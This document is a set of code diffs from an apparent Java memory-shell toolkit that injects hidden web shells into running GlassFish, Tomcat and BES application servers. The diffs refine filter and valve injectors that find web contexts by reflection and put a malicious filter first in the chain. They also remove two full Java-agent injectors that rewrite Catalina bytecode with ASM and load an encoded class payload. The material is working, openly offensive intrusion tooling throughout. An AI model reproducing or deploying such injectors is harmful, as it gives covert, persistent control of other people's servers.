@@ -43,6 +49,7 @@ public class BesValveInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -50,7 +57,7 @@ public class BesValveInjector {
|
|||||||
private String getContextRoot(Object context) {
|
private String getContextRoot(Object context) {
|
||||||
String r = null;
|
String r = null;
|
||||||
try {
|
try {
|
||||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
r = (String) getFieldValue(context, "encodedPath");
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
String c = context.getClass().getName();
|
String c = context.getClass().getName();
|
||||||
@@ -63,8 +70,8 @@ public class BesValveInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -74,6 +81,16 @@ public class BesValveInjector {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
|
|||||||
@@ -1,215 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.glassfish;
|
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.lang.instrument.Instrumentation;
|
|
||||||
import java.security.ProtectionDomain;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/26
|
|
||||||
*/
|
|
||||||
public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
|
|
||||||
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
|
|
||||||
private static final String TARGET_METHOD_NAME = "invoke";
|
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String getBase64String() {
|
|
||||||
return "{{base64String}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
|
||||||
System.out.println("MemShell Agent is starting");
|
|
||||||
inst.addTransformer(new GlassFishContextValveAgentInjector(), true);
|
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
|
||||||
String name = allLoadedClass.getName();
|
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
|
||||||
inst.retransformClasses(allLoadedClass);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
defineTargetClass(loader);
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
|
||||||
@Override
|
|
||||||
protected ClassLoader getClassLoader() {
|
|
||||||
return loader;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Throwable e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
|
||||||
private final Type[] argumentTypes;
|
|
||||||
private final String className;
|
|
||||||
|
|
||||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
|
||||||
super(Opcodes.ASM9, mv);
|
|
||||||
this.argumentTypes = argTypes;
|
|
||||||
this.className = className;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void visitCode() {
|
|
||||||
loadArgArray();
|
|
||||||
Label tryStart = new Label();
|
|
||||||
Label tryEnd = new Label();
|
|
||||||
Label catchHandler = new Label();
|
|
||||||
Label ifConditionFalse = new Label();
|
|
||||||
Label skipCatchBlock = new Label();
|
|
||||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
|
||||||
|
|
||||||
mv.visitLabel(tryStart);
|
|
||||||
String internalClassName = className.replace('.', '/');
|
|
||||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
|
||||||
mv.visitInsn(Opcodes.SWAP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
|
||||||
"java/lang/Object",
|
|
||||||
"equals",
|
|
||||||
"(Ljava/lang/Object;)Z",
|
|
||||||
false);
|
|
||||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
|
||||||
mv.visitInsn(Opcodes.RETURN);
|
|
||||||
mv.visitLabel(ifConditionFalse);
|
|
||||||
mv.visitLabel(tryEnd);
|
|
||||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
|
||||||
mv.visitLabel(catchHandler);
|
|
||||||
mv.visitInsn(Opcodes.POP);
|
|
||||||
mv.visitLabel(skipCatchBlock);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void loadArgArray() {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
|
||||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
|
||||||
for (int i = 0; i < argumentTypes.length; i++) {
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
push(i);
|
|
||||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
|
||||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void push(final int value) {
|
|
||||||
if (value >= -1 && value <= 5) {
|
|
||||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
|
||||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
|
||||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
|
||||||
} else {
|
|
||||||
mv.visitLdcInsn(new Integer(value));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private int getArgIndex(final int arg) {
|
|
||||||
int index = 1;
|
|
||||||
for (int i = 0; i < arg; i++) {
|
|
||||||
index += argumentTypes[i].getSize();
|
|
||||||
}
|
|
||||||
return index;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
|
||||||
Class<?> decoderClass;
|
|
||||||
try {
|
|
||||||
decoderClass = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
|
||||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
|
||||||
GZIPInputStream gzipInputStream = null;
|
|
||||||
try {
|
|
||||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
|
||||||
byte[] buffer = new byte[4096];
|
|
||||||
int n;
|
|
||||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
|
||||||
out.write(buffer, 0, n);
|
|
||||||
}
|
|
||||||
return out.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
} finally {
|
|
||||||
try {
|
|
||||||
if (gzipInputStream != null) {
|
|
||||||
gzipInputStream.close();
|
|
||||||
}
|
|
||||||
out.close();
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void defineTargetClass(ClassLoader loader) {
|
|
||||||
try {
|
|
||||||
loader.loadClass(getClassName());
|
|
||||||
return;
|
|
||||||
} catch (ClassNotFoundException ignored) {
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
|
||||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,215 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.glassfish;
|
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.lang.instrument.Instrumentation;
|
|
||||||
import java.security.ProtectionDomain;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/26
|
|
||||||
*/
|
|
||||||
public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
|
|
||||||
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
|
||||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String getBase64String() {
|
|
||||||
return "{{base64String}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
|
||||||
System.out.println("MemShell Agent is starting");
|
|
||||||
inst.addTransformer(new GlassFishFilterChainAgentInjector(), true);
|
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
|
||||||
String name = allLoadedClass.getName();
|
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
|
||||||
inst.retransformClasses(allLoadedClass);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
defineTargetClass(loader);
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
|
||||||
@Override
|
|
||||||
protected ClassLoader getClassLoader() {
|
|
||||||
return loader;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Throwable e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
|
||||||
private final Type[] argumentTypes;
|
|
||||||
private final String className;
|
|
||||||
|
|
||||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
|
||||||
super(Opcodes.ASM9, mv);
|
|
||||||
this.argumentTypes = argTypes;
|
|
||||||
this.className = className;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void visitCode() {
|
|
||||||
loadArgArray();
|
|
||||||
Label tryStart = new Label();
|
|
||||||
Label tryEnd = new Label();
|
|
||||||
Label catchHandler = new Label();
|
|
||||||
Label ifConditionFalse = new Label();
|
|
||||||
Label skipCatchBlock = new Label();
|
|
||||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
|
||||||
|
|
||||||
mv.visitLabel(tryStart);
|
|
||||||
String internalClassName = className.replace('.', '/');
|
|
||||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
|
||||||
mv.visitInsn(Opcodes.SWAP);
|
|
||||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
|
||||||
"java/lang/Object",
|
|
||||||
"equals",
|
|
||||||
"(Ljava/lang/Object;)Z",
|
|
||||||
false);
|
|
||||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
|
||||||
mv.visitInsn(Opcodes.RETURN);
|
|
||||||
mv.visitLabel(ifConditionFalse);
|
|
||||||
mv.visitLabel(tryEnd);
|
|
||||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
|
||||||
mv.visitLabel(catchHandler);
|
|
||||||
mv.visitInsn(Opcodes.POP);
|
|
||||||
mv.visitLabel(skipCatchBlock);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void loadArgArray() {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
|
||||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
|
||||||
for (int i = 0; i < argumentTypes.length; i++) {
|
|
||||||
mv.visitInsn(Opcodes.DUP);
|
|
||||||
push(i);
|
|
||||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
|
||||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void push(final int value) {
|
|
||||||
if (value >= -1 && value <= 5) {
|
|
||||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
|
||||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
|
||||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
|
||||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
|
||||||
} else {
|
|
||||||
mv.visitLdcInsn(new Integer(value));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private int getArgIndex(final int arg) {
|
|
||||||
int index = 1;
|
|
||||||
for (int i = 0; i < arg; i++) {
|
|
||||||
index += argumentTypes[i].getSize();
|
|
||||||
}
|
|
||||||
return index;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
|
||||||
Class<?> decoderClass;
|
|
||||||
try {
|
|
||||||
decoderClass = Class.forName("java.util.Base64");
|
|
||||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
|
||||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
|
||||||
GZIPInputStream gzipInputStream = null;
|
|
||||||
try {
|
|
||||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
|
||||||
byte[] buffer = new byte[4096];
|
|
||||||
int n;
|
|
||||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
|
||||||
out.write(buffer, 0, n);
|
|
||||||
}
|
|
||||||
return out.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
} finally {
|
|
||||||
try {
|
|
||||||
if (gzipInputStream != null) {
|
|
||||||
gzipInputStream.close();
|
|
||||||
}
|
|
||||||
out.close();
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public void defineTargetClass(ClassLoader loader) {
|
|
||||||
try {
|
|
||||||
loader.loadClass(getClassName());
|
|
||||||
return;
|
|
||||||
} catch (ClassNotFoundException ignored) {
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
|
||||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -7,7 +7,7 @@ import java.io.PrintStream;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -18,7 +18,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class GlassFishFilterInjector {
|
public class GlassFishFilterInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -33,16 +34,21 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public GlassFishFilterInjector() {
|
public GlassFishFilterInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[" + getUrlPattern() + "] ready\n";
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
@@ -51,6 +57,7 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -75,8 +82,8 @@ public class GlassFishFilterInjector {
|
|||||||
* com.sun.enterprise.web.WebModule
|
* com.sun.enterprise.web.WebModule
|
||||||
* /xxx/modules/web-glue.jar
|
* /xxx/modules/web-glue.jar
|
||||||
*/
|
*/
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -122,15 +129,18 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tomcat v8+
|
// tomcat v8+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
// tomcat v5+
|
// tomcat v5+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
@@ -141,19 +151,16 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
Constructor<?>[] constructors;
|
|
||||||
try {
|
try {
|
||||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// tomcat v5
|
// tomcat v5
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
}
|
}
|
||||||
try {
|
|
||||||
// v7.0.0 以上
|
// addFilterMapFirst
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
} catch (Exception e) {
|
filterMaps.add(0, filterMap);
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
|
||||||
}
|
|
||||||
|
|
||||||
Constructor filterConfigConstructor;
|
Constructor filterConfigConstructor;
|
||||||
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
@@ -224,21 +231,39 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Class<?> clazz = obj.getClass();
|
for (Class<?> clazz = obj.getClass();
|
||||||
while (clazz != Object.class) {
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
try {
|
try {
|
||||||
Field field = clazz.getDeclaredField(name);
|
return clazz.getDeclaredField(name);
|
||||||
field.setAccessible(true);
|
} catch (NoSuchFieldException ignored) {
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
